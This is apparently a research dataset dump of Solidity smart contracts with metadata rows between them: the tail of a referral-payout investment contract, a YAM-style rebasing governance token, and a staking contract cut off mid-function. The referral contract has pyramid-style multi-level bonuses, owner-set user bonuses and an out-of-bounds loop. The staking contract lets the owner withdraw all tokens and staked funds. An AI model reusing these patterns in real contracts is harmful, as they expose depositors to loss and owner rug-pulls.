dailyShare = _daily;
}
function setMxCycle(uint32 _mxcycle) external onlyOwner {
require(_mxcycle >= 0, 'Bad amount');
mxcycle = _mxcycle;
}
function setUserRating(address _addr, uint8 _rating, uint256 _bonus) external onlyOwner {
require(_bonus >= 0, 'Bad amount');
rating_user[_addr] = _rating;
rating_bonus[_addr] = _bonus;
}
function setUserLevel(address _addr, uint8 _lvl, bool _sts) external onlyOwner {
require(user_level[_addr][_lvl] != _sts, 'Bad status');
user_level[_addr][_lvl] = _sts;
}
function() payable external {}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
for(uint8 i = 0; i < refbns.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += (_amount * 5 / 1000);
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < poolbns.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < poolbns.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= poolbns.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(poolbns.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < refbns.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= reffs[i] && user_level[up][i]==true) {
uint256 bonus = _amount * refbns[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < poolbns.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * poolbns[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < poolbns.length; i++) {
pool_top[i] = address(0);
}
}
function deposit(address _upline, uint256 _value) external {
uint256 _amount_token = _calcul(_value, rate, uint256(token.decimals()));
uint256 _token_balance = token.balanceOf(msg.sender);
require(_amount_token > 0, "INVALID_TOKEN_AMOUNT");
require(_token_balance >= _amount_token, "INSUFFICIENT_TOKEN");
require(token.allowance(msg.sender,address(this))>0);
_setUpline(msg.sender, _upline);
address _addr = msg.sender;
uint256 _amount = _value;
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount == users[_addr].deposit_amount && _amount <= cycles, "Bad amount");
}
else require(_amount >= 25000000 && _amount <= cycles, "Bad amount");
require(token.transferFrom(msg.sender, address(this), _amount_token));
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].withdraw_time = 0;
users[_addr].total_deposits += _amount;
if(users[_addr].deposit_time <= 0) {
total_direct_omset[_addr] = 0;
rating_user[_addr] = 0;
rating_bonus[_addr] = 0;
rating_bonus_claimed[_addr] = 0;
user_level[_addr][0] = false;
user_level[_addr][1] = false;
user_level[_addr][2] = false;
user_level[_addr][3] = false;
user_level[_addr][4] = false;
user_level[_addr][5] = false;
user_level[_addr][6] = false;
}
deposit_amount_token[_addr] = _amount_token;
total_deposit_tokens[_addr] += _amount_token;
total_deposited += _amount;
total_deposited_token += _amount_token;
emit NewDeposit(_addr, _amount);
address upline = users[_addr].upline;
if(upline != address(0)) {
users[upline].direct_bonus += _amount / 10;
total_direct_omset[upline] += _amount;
emit DirectPayout(upline, _addr, _amount / 10);
}
_pollDeposits(_addr, _amount);
if(pool_last_draw + 1 days < block.timestamp) {
_drawPool();
}
token.transfer(addfund, (_amount_token * 10 / 100)); // manager
token.transfer(trx_fee, (_amount_token * 5 / 100)); // platform
token.transfer(mega_insurance, (_amount_token * 35 / 1000)); // insurance
}
function withdraw() external {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
max_payout = max_payout * uint256(mxcycle / 100);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
users[msg.sender].withdraw_time = uint40(block.timestamp);
uint256 amount_token = _calcul(to_payout, rate, uint256(token.decimals()));
total_withdraw_token += amount_token;
token.transfer(msg.sender, amount_token);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function withdrawReward() external {
require(rating_bonus[msg.sender] > 0, "No Reward");
uint256 _rating_bonus = rating_bonus[msg.sender];
rating_bonus[msg.sender] -= _rating_bonus;
rating_bonus_claimed[msg.sender] += _rating_bonus;
uint256 amount_token = _calcul(_rating_bonus, rate, uint256(token.decimals()));
token.transfer(msg.sender, amount_token);
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 21 / 10;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / dailyShare) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userLastWithdraw(address _addr) view external returns(uint40 withdraw_time) {
return (users[_addr].withdraw_time);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 _total_deposit_tokens, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, total_deposit_tokens[_addr], users[_addr].total_payouts, users[_addr].total_structure);
}
function contractInfo() view external returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_deposited_token, uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) {
return (total_users, total_deposited, total_deposited_token, total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < poolbns.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
| 299,007 | 11,175 |
4adc2b14b48330eb7cd51e3a638db362cd993a1751af3b8889e42e88166afef2
| 31,344 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Finance/0x9468dec2e19240d6E287f27e1d757Ae7b9f15F7d.sol
| 5,112 | 20,035 |
pragma solidity 0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract YAMTokenStorage {
using SafeMath for uint256;
bool internal _notEntered;
string public name;
string public symbol;
uint8 public decimals;
address public gov;
address public pendingGov;
address public rebaser;
address public incentivizer;
uint256 public totalSupply;
uint256 public constant internalDecimals = 10**24;
uint256 public constant BASE = 10**18;
uint256 public yamsScalingFactor;
mapping (address => uint256) internal _yamBalances;
mapping (address => mapping (address => uint256)) internal _allowedFragments;
uint256 public initSupply;
}
contract YAMGovernanceStorage {
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
}
contract YAMTokenInterface is YAMTokenStorage, YAMGovernanceStorage {
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
event Rebase(uint256 epoch, uint256 prevYamsScalingFactor, uint256 newYamsScalingFactor);
event NewPendingGov(address oldPendingGov, address newPendingGov);
event NewGov(address oldGov, address newGov);
event NewRebaser(address oldRebaser, address newRebaser);
event NewIncentivizer(address oldIncentivizer, address newIncentivizer);
event Transfer(address indexed from, address indexed to, uint amount);
event Approval(address indexed owner, address indexed spender, uint amount);
event Mint(address to, uint256 amount);
// Public functions
function transfer(address to, uint256 value) external returns(bool);
function transferFrom(address from, address to, uint256 value) external returns(bool);
function balanceOf(address who) external view returns(uint256);
function balanceOfUnderlying(address who) external view returns(uint256);
function allowance(address owner_, address spender) external view returns(uint256);
function approve(address spender, uint256 value) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function maxScalingFactor() external view returns (uint256);
function getPriorVotes(address account, uint blockNumber) external view returns (uint256);
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external;
function delegate(address delegatee) external;
function delegates(address delegator) external view returns (address);
function getCurrentVotes(address account) external view returns (uint256);
function mint(address to, uint256 amount) external returns (bool);
function rebase(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256);
function _setRebaser(address rebaser_) external;
function _setIncentivizer(address incentivizer_) external;
function _setPendingGov(address pendingGov_) external;
function _acceptGov() external;
}
contract YAMGovernanceToken is YAMTokenInterface {
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name)),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "YAM::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "YAM::delegateBySig: invalid nonce");
require(now <= expiry, "YAM::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "YAM::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = _yamBalances[delegator]; // balance of underlying YAMs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "YAM::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
contract YAMToken is YAMGovernanceToken {
// Modifiers
modifier onlyGov() {
require(msg.sender == gov);
_;
}
modifier onlyRebaser() {
require(msg.sender == rebaser);
_;
}
modifier onlyMinter() {
require(msg.sender == rebaser || msg.sender == incentivizer || msg.sender == gov, "not minter");
_;
}
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
function initialize(string memory name_,
string memory symbol_,
uint8 decimals_)
public
{
require(yamsScalingFactor == 0, "already initialized");
name = name_;
symbol = symbol_;
decimals = decimals_;
}
function maxScalingFactor()
external
view
returns (uint256)
{
return _maxScalingFactor();
}
function _maxScalingFactor()
internal
view
returns (uint256)
{
// scaling factor can only go up to 2**256-1 = initSupply * yamsScalingFactor
// this is used to check if yamsScalingFactor will be too high to compute balances when rebasing.
return uint256(-1) / initSupply;
}
function mint(address to, uint256 amount)
external
onlyMinter
returns (bool)
{
_mint(to, amount);
return true;
}
function _mint(address to, uint256 amount)
internal
{
// increase totalSupply
totalSupply = totalSupply.add(amount);
// get underlying value
uint256 yamValue = amount.mul(internalDecimals).div(yamsScalingFactor);
// increase initSupply
initSupply = initSupply.add(yamValue);
// make sure the mint didnt push maxScalingFactor too low
require(yamsScalingFactor <= _maxScalingFactor(), "max scaling factor too low");
// add balance
_yamBalances[to] = _yamBalances[to].add(yamValue);
// add delegates to the minter
_moveDelegates(address(0), _delegates[to], yamValue);
emit Mint(to, amount);
}
function transfer(address to, uint256 value)
external
validRecipient(to)
returns (bool)
{
// underlying balance is stored in yams, so divide by current scaling factor
// note, this means as scaling factor grows, dust will be untransferrable.
// minimum transfer value == yamsScalingFactor / 1e24;
// get amount in underlying
uint256 yamValue = value.mul(internalDecimals).div(yamsScalingFactor);
// sub from balance of sender
_yamBalances[msg.sender] = _yamBalances[msg.sender].sub(yamValue);
// add to balance of receiver
_yamBalances[to] = _yamBalances[to].add(yamValue);
emit Transfer(msg.sender, to, value);
_moveDelegates(_delegates[msg.sender], _delegates[to], yamValue);
return true;
}
function transferFrom(address from, address to, uint256 value)
external
validRecipient(to)
returns (bool)
{
// decrease allowance
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
// get value in yams
uint256 yamValue = value.mul(internalDecimals).div(yamsScalingFactor);
// sub from from
_yamBalances[from] = _yamBalances[from].sub(yamValue);
_yamBalances[to] = _yamBalances[to].add(yamValue);
emit Transfer(from, to, value);
_moveDelegates(_delegates[from], _delegates[to], yamValue);
return true;
}
function balanceOf(address who)
external
view
returns (uint256)
{
return _yamBalances[who].mul(yamsScalingFactor).div(internalDecimals);
}
function balanceOfUnderlying(address who)
external
view
returns (uint256)
{
return _yamBalances[who];
}
function allowance(address owner_, address spender)
external
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
function approve(address spender, uint256 value)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function _setRebaser(address rebaser_)
external
onlyGov
{
address oldRebaser = rebaser;
rebaser = rebaser_;
emit NewRebaser(oldRebaser, rebaser_);
}
function _setIncentivizer(address incentivizer_)
external
onlyGov
{
address oldIncentivizer = incentivizer;
incentivizer = incentivizer_;
emit NewIncentivizer(oldIncentivizer, incentivizer_);
}
function _setPendingGov(address pendingGov_)
external
onlyGov
{
address oldPendingGov = pendingGov;
pendingGov = pendingGov_;
emit NewPendingGov(oldPendingGov, pendingGov_);
}
function _acceptGov()
external
{
require(msg.sender == pendingGov, "!pending");
address oldGov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldGov, gov);
}
function rebase(uint256 epoch,
uint256 indexDelta,
bool positive)
external
onlyRebaser
returns (uint256)
{
if (indexDelta == 0) {
emit Rebase(epoch, yamsScalingFactor, yamsScalingFactor);
return totalSupply;
}
uint256 prevYamsScalingFactor = yamsScalingFactor;
if (!positive) {
yamsScalingFactor = yamsScalingFactor.mul(BASE.sub(indexDelta)).div(BASE);
} else {
uint256 newScalingFactor = yamsScalingFactor.mul(BASE.add(indexDelta)).div(BASE);
if (newScalingFactor < _maxScalingFactor()) {
yamsScalingFactor = newScalingFactor;
} else {
yamsScalingFactor = _maxScalingFactor();
}
}
totalSupply = initSupply.mul(yamsScalingFactor).div(BASE);
emit Rebase(epoch, prevYamsScalingFactor, yamsScalingFactor);
return totalSupply;
}
}
contract YAM is YAMToken {
function initialize(string memory name_,
string memory symbol_,
uint8 decimals_,
address initial_owner,
uint256 initSupply_)
public
{
require(initSupply_ > 0, "0 init supply");
super.initialize(name_, symbol_, decimals_);
initSupply = initSupply_.mul(10**24/ (BASE));
totalSupply = initSupply_;
yamsScalingFactor = BASE;
_yamBalances[initial_owner] = initSupply_.mul(10**24 / (BASE));
// owner renounces ownership after deployment as they need to set
// rebaser and incentivizer
// gov = gov_;
}
}
contract YAMDelegationStorage {
address public implementation;
}
contract YAMDelegateInterface is YAMDelegationStorage {
function _becomeImplementation(bytes memory data) public;
function _resignImplementation() public;
}
contract SHRIMPDelegate is YAM, YAMDelegateInterface {
constructor() public {}
function _becomeImplementation(bytes memory data) public {
// Shh -- currently unused
data;
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == gov, "only the gov may call _becomeImplementation");
}
function _resignImplementation() public {
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == gov, "only the gov may call _resignImplementation");
}
}
| 335,034 | 11,176 |
1f4d60f56e1057c830ba98a7cf72995b45558bde4ddd4d83524f741b78525e69
| 17,740 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/1f/1fa96df2403b82cf7c4200c74d956c22db799510_AavxStaking.sol
| 3,584 | 14,033 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256){
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b,"Calculation error");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256){
// Solidity only automatically asserts when dividing by 0
require(b > 0,"Calculation error");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256){
require(b <= a,"Calculation error");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256){
uint256 c = a + b;
require(c >= a,"Calculation error");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256){
require(b != 0,"Calculation error");
return a % b;
}
}
contract IToken {
function balanceOf(address) public pure returns (uint256);
function allowance(address, address) public pure returns (uint256);
function transfer(address, uint256) public pure returns (bool);
function transferFrom(address, address, uint256) public pure returns (bool);
function approve(address , uint256) public pure returns (bool);
}
contract AavxStaking {
using SafeMath for uint256;
address private _owner; // variable for Owner of the Contract.
uint256 private _withdrawTime; // variable to manage withdraw time for Native Token
uint256 constant public PERIOD_SILVER = 30; // variable constant for time period managemnt
uint256 constant public PERIOD_GOLD = 60; // variable constant for time period managemnt
uint256 constant public PERIOD_PLATINUM = 90; // variable constant for time period managemnt
uint256 constant public REWARD_PERCENT_SILVER = 1530947; // variable constant to manage eward percentage for silver
uint256 constant public REWARD_PERCENT_GOLD = 5128942; // variable constant to manage reward percentage for gold
uint256 constant public REWARD_PERCENT_PLATINUM = 14185834; // variable constant to manage reward percentage for platinum
// events to handle staking pause or unpause for Native token
event Paused();
event Unpaused();
function getowner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(),"You are not authenticate to make this transfer");
_;
}
function isOwner() internal view returns (bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner returns (bool){
_owner = newOwner;
return true;
}
// constructor to declare owner of the contract during time of deploy
constructor(address owner) public {
_owner = owner;
}
// Interface declaration for contract
IToken itoken;
// function to set Contract Address for Token Transfer Functions
function setContractAddress(address tokenContractAddress) external onlyOwner returns(bool){
itoken = IToken(tokenContractAddress);
return true;
}
// function to add token reward in contract
function addTokenReward(uint256 token) external onlyOwner returns(bool){
_ownerTokenAllowance = _ownerTokenAllowance.add(token);
itoken.transferFrom(msg.sender, address(this), token);
return true;
}
// function to withdraw added token reward in contract
function withdrawAddedTokenReward(uint256 token) external onlyOwner returns(bool){
require(token < _ownerTokenAllowance,"Value is not feasible, Please Try Again!!!");
_ownerTokenAllowance = _ownerTokenAllowance.sub(token);
itoken.transfer(msg.sender, token);
return true;
}
// function to get token reward in contract
function getTokenReward() public view returns(uint256){
return _ownerTokenAllowance;
}
// function to pause staking
function pauseStaking() public onlyOwner {
stakingPaused = true;
emit Paused();
}
// function to unpause Staking
function unpauseStaking() public onlyOwner {
stakingPaused = false;
emit Unpaused();
}
// function to withdraw token from the contract
function withdrawToken(uint256 amount) external onlyOwner returns(bool){
require(amount > 0,"Please input valid value and tey again!!!");
itoken.transfer(msg.sender,amount);
return true;
}
// function to withdraw native token from the contract
function withdrawNativeToken() external onlyOwner returns(bool){
msg.sender.transfer(address(this).balance);
return true;
}
// mapping for users with id => address Staking Address
mapping (uint256 => address) private _stakingAddress;
// mapping for user with address => id staking id
mapping (address => uint256[]) private _stakingId;
// mapping for users with id => Staking Time
mapping (uint256 => uint256) private _stakingStartTime;
// mapping for users with id => End Time
mapping (uint256 => uint256) private _stakingEndTime;
// mapping for users with id => Amount to keep track for amount of staked native token by user
mapping (uint256 => uint256) private _usersAmount;
// mapping for users with id => Status
mapping (uint256 => bool) private _transactionstatus;
// mapping to keep track of final withdraw value of staked native token
mapping(uint256=>uint256) private _finalStakeWithdraw;
// mapping to keep track total number of staking days
mapping(uint256=>uint256) private _totalDays;
// mapping for Native token deposited by user
mapping(address=>uint256) private _amountStakedByUser;
// variable to keep count of native token Staking
uint256 private _stakingCount = 0;
// variable to keep track on token reward added by owner
uint256 private _ownerTokenAllowance = 0;
// variable for native token time management
uint256 private _time;
// variable for native token staking pause and unpause mechanism
bool public stakingPaused = false;
// variable for total staked native token by user
uint256 public totalStakedAmount = 0;
// variable for total staked native token in contract
uint256 public totalStakesInContract = 0;
// modifier to check time and input value for Staking
modifier stakeCheck(uint256 timePeriod){
require(msg.value > 0, "Invalid Amount, Please Try Again!!! ");
require(timePeriod == PERIOD_SILVER || timePeriod == PERIOD_GOLD || timePeriod == PERIOD_PLATINUM, "Enter the Valid Time Period and Try Again !!!");
_;
}
// function to performs staking for user native token for a specific period of time
function stakeNativeToken(uint256 time) external payable stakeCheck(time) returns(bool){
require(stakingPaused == false, "Staking is Paused, Please try after staking get unpaused!!!");
_time = now + (time * 1 days);
_stakingCount = _stakingCount + 1 ;
_totalDays[_stakingCount] = time;
_stakingAddress[_stakingCount] = msg.sender;
_stakingId[msg.sender].push(_stakingCount);
_stakingEndTime[_stakingCount] = _time;
_stakingStartTime[_stakingCount] = now;
_usersAmount[_stakingCount] = msg.value;
_amountStakedByUser[msg.sender] = _amountStakedByUser[msg.sender].add(msg.value);
_transactionstatus[_stakingCount] = false;
totalStakesInContract = totalStakesInContract.add(msg.value);
totalStakedAmount = totalStakedAmount.add(msg.value);
return true;
}
// function to get staking count for native token
function getStakingCount() public view returns(uint256){
return _stakingCount;
}
// function to get total Staked native token
function getTotalStakedAmount() public view returns(uint256){
return totalStakedAmount;
}
// function to calculate reward for the message sender for stake
function getRewardDetailsByStakingId(uint256 id) public view returns(uint256){
if(_totalDays[id] == PERIOD_SILVER) {
return (_usersAmount[id]*REWARD_PERCENT_SILVER/100000000);
} else if(_totalDays[id] == PERIOD_GOLD) {
return (_usersAmount[id]*REWARD_PERCENT_GOLD/100000000);
} else if(_totalDays[id] == PERIOD_PLATINUM) {
return (_usersAmount[id]*REWARD_PERCENT_PLATINUM/100000000);
} else{
return 0;
}
}
// function for withdrawing staked Native Token
function withdrawStakedNativeToken(uint256 stakingId) public returns(bool){
require(_stakingAddress[stakingId] == msg.sender,"No staked token found on this address and ID");
